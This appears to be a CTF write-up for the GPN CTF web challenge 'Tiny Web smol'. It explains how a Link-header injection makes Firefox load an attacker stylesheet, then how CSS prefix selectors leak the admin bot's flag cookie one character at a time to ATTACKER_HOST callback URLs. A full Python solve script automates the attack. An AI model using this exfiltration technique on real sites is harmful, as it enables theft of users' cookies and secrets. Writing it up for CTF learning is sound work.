← Back to Writeups
HTBN/AWeb

Tiny Web smol

XESXOR8/23/20265 min read
#web#htb#n/a

Tiny Web smol

Platform: GPN CTF | Category: Web | Type: Challenge | Difficulty: Hard | OS: NA | Author: D3v0o0Nu11 | Date: 2026-06-06 | Status: Solved Techniques: css_attribute_selector_exfiltration, firefox_response_link_stylesheet_abuse, link_header_stylesheet_injection, round_robin_bot_scheduling

Summary

Task: Tiny Node.js app reflects the request URL into a Link response header and the bot's flag cookie into body onload. Solution: break Link syntax to inject a Firefox-loaded stylesheet, then exfiltrate the reflected flag one character at a time with CSS prefix selectors and callback URLs.

Recon

Port scan

nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn
PortServiceVersionNotes
<PORT><SVC><VER><notes>

Enumeration highlights

  • Event: gpnctf | ID: 20260606_gpnctf_tiny_web_smol
  • Tags: nodejs, firefox, header_injection, adminbot, css_exfiltration, link_header, cookie_reflection, browser_quirk
  • Indicators: Node app reflects request URL into Link header with unescape(), secret cookie is reflected into an HTML attribute like body onload, CRLF header injection fails because runtime validates header characters, Firefox bot applies rel=stylesheet from response Link header, admin bot has a long cooldown so parallel instances improve exfil speed
  • Source: 20260606_gpnctf_tiny_web_smol.md

Foothold

Vulnerability / Misconfiguration

  1. Css_attribute_selector_exfiltration
  2. Firefox_response_link_stylesheet_abuse
  3. Link_header_stylesheet_injection
  4. Round_robin_bot_scheduling
<command>

Exploitation

  • See original writeup content for detailed exploitation.

Privilege Escalation

Enumeration

sudo -l
find / -perm -4000 2>/dev/null
getcap -r / 2>/dev/null
cat /etc/crontab
ps aux

Exploitation

  1. N/A for challenge-type writeup; see exploitation above.
  2. Flag obtained via challenge solve.
<command>

Flags

FlagLocationValue
flagREDACTED

Key Takeaways / Lessons

  • css_attribute_selector_exfiltration
  • firefox_response_link_stylesheet_abuse
  • link_header_stylesheet_injection
  • round_robin_bot_scheduling
  • Tags: nodejs, firefox, header_injection, adminbot, css_exfiltration, link_header, cookie_reflection, browser_quirk

Original Writeup

<details><summary>Click to expand original content</summary>

Tiny Web smol — GPNCTF 2026

Description

No original task description was preserved in the local task directory.

We were given a very small Node.js web app behind an admin bot. The bot first visited http://localhost:8080, set document.cookie = "flag=" + FLAG, and then visited an attacker-controlled URL as long as it started with http://localhost:8080. The goal was to steal the flag from the bot.

Analysis

The application code was effectively this:

require('http').createServer((a,b)=>b.writeHead(200,{
  'content-type':'text/html',
  link:`<${unescape(a.url)}>;rel=preload;as=fetch`
})+b.end(`<body onload=fetch('${a.headers.cookie}')>`)).listen(8080)

This gives two attacker-controlled reflections:

  1. Request URL into Link response header
   link: `<${unescape(a.url)}>;rel=preload;as=fetch`
  1. Bot cookie into HTML attribute
   <body onload=fetch('flag=GPNCTF{...}')>

The obvious first idea was CRLF response splitting through the Link header, but Node.js rejects invalid header characters, so %0d%0a injection was dead.

The important observation was that full CRLF was not necessary. If we broke out of the <...> URL value inside the Link header, Firefox would parse a second link relation from the same header value. A payload shaped like this worked:

//ATTACKER_HOST/start.css>;rel=stylesheet,<x

After URL-encoding, we sent the bot to:

http://localhost:8080/%2f%2fATTACKER_HOST%2fstart.css%3e%3brel%3dstylesheet%2c%3cx

The resulting response header became:

Link: <///ATTACKER_HOST/start.css>;rel=stylesheet,<x>;rel=preload;as=fetch

Firefox fetched and applied that remote stylesheet to the localhost:8080 document. That was the key browser-specific behavior.

Once our CSS was applied, we could target the reflected onload attribute with prefix selectors:

body[onload^="fetch('flag=GPNCTF{C"]{
  background-image:url("http://ATTACKER_HOST/c?x=GPNCTF%7BC");
}

When the prefix matched, Firefox requested our callback URL. That leaked one more character of the flag. Repeating this for the next position recovered the whole flag.

One operational problem remained: the bot slept for 30 seconds after each visit. To avoid waiting for a single instance, we used three separate challenge instances in round-robin. While one bot was sleeping, the next instance could leak the next character.

Solution

  1. Host an attacker CSS file and a callback endpoint.
  2. Build a localhost:8080 URL whose path decodes to //ATTACKER/start.css>;rel=stylesheet,<x.
  3. Send that URL to /bot/run?url=....
  4. Firefox loads our stylesheet from the injected Link header.
  5. Serve CSS rules for all candidate next characters using body[onload^="fetch('flag=PREFIX..."] selectors.
  6. The matching rule triggers background-image:url(http://ATTACKER/c?x=...).
  7. Append the leaked character and repeat.
  8. Use three instances in rotation to hide the 30-second sleep.
#!/usr/bin/env python3
import http.server
import socketserver
import threading
import time
import urllib.parse
import urllib.request
import sys

INSTANCES = sys.argv[1:]
PUBLIC_HOST = "ATTACKER_HOST:9000"
BIND_PORT = 9000
CHARSET = list("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_{}")
KNOWN = "fetch('flag="
leaked = ""
learned_this_run = None
lock = threading.Lock()


class ReuseTCPServer(socketserver.ThreadingTCPServer):
    allow_reuse_address = True


class Handler(http.server.BaseHTTPRequestHandler):
    def do_GET(self):
        global learned_this_run, leaked
        u = urllib.parse.urlparse(self.path)

        if u.path == "/start.css":
            with lock:
                prefix = leaked
            css = "\n".join(
                f'body[onload^="{KNOWN}{prefix}{c}"]{{background-image:url("http://{PUBLIC_HOST}/c?x={urllib.parse.quote(c)}")}}'
                for c in CHARSET
            ).encode()
            self.send_response(200)
            self.send_header("Content-Type", "text/css")
            self.send_header("Cache-Control", "no-store")
            self.send_header("Content-Length", str(len(css)))
            self.end_headers()
            self.wfile.write(css)
            return

        if u.path == "/c":
            c = urllib.parse.parse_qs(u.query).get("x", [""])[0]
            with lock:
                if c and learned_this_run is None:
                    learned_this_run = c
            self.send_response(200)
            self.send_header("Content-Type", "image/gif")
            self.send_header("Content-Length", "0")
            self.end_headers()
            return

        body = b"ok"
        self.send_response(200)
        self.send_header("Content-Type", "text/plain")
        self.send_header("Content-Length", str(len(body)))
        self.end_headers()
        self.wfile.write(body)

    def log_message(self, format, *args):
        return


def run_server():
    with ReuseTCPServer(("0.0.0.0", BIND_PORT), Handler) as httpd:
        httpd.serve_forever()


def build_target_url():
    raw = f"//{PUBLIC_HOST}/start.css>;rel=stylesheet,<x"
    enc = "".join("%%%02x" % ord(ch) for ch in raw)
    return f"http://localhost:8080/{enc}"


def get(url, timeout=20):
    req = urllib.request.Request(url, headers={"User-Agent": "Mozilla/5.0"})
    with urllib.request.urlopen(req, timeout=timeout) as r:
        return r.read().decode(errors="replace")


def trigger_bot_async(instance, target_url):
    url = f"{instance}/bot/run?url={urllib.parse.quote(target_url, safe='')}"

    def _run():
        try:
            get(url, timeout=3)
        except Exception:
            pass

    threading.Thread(target=_run, daemon=True).start()


def solve():
    global leaked, learned_this_run
    target_url = build_target_url()
    ready = {inst: 0.0 for inst in INSTANCES}

    while True:
        inst = min(INSTANCES, key=lambda i: ready[i])
        now = time.time()
        if ready[inst] > now:
            time.sleep(max(0.2, ready[inst] - now))
            continue

        with lock:
            learned_this_run = None

        trigger_bot_async(inst, target_url)
        ready[inst] = time.time() + 31

        got = None
        for _ in range(12):
            time.sleep(1)
            with lock:
                if learned_this_run is not None:
                    got = learned_this_run
                    break

        if got is None:
            continue

        leaked += got
        print(leaked, flush=True)
        if got == "}":
            print("FLAG:", leaked)
            break


if __name__ == "__main__":
    if not INSTANCES:
        print("usage: solve.py <instance1> <instance2> ...")
        sys.exit(1)
    threading.Thread(target=run_server, daemon=True).start()
    time.sleep(1)
    solve()
</details>

Auto-tracked: saved to WriteUps; run /xesor-revise to fold lessons into XESXor_Methodology.md.

signed by XESXOR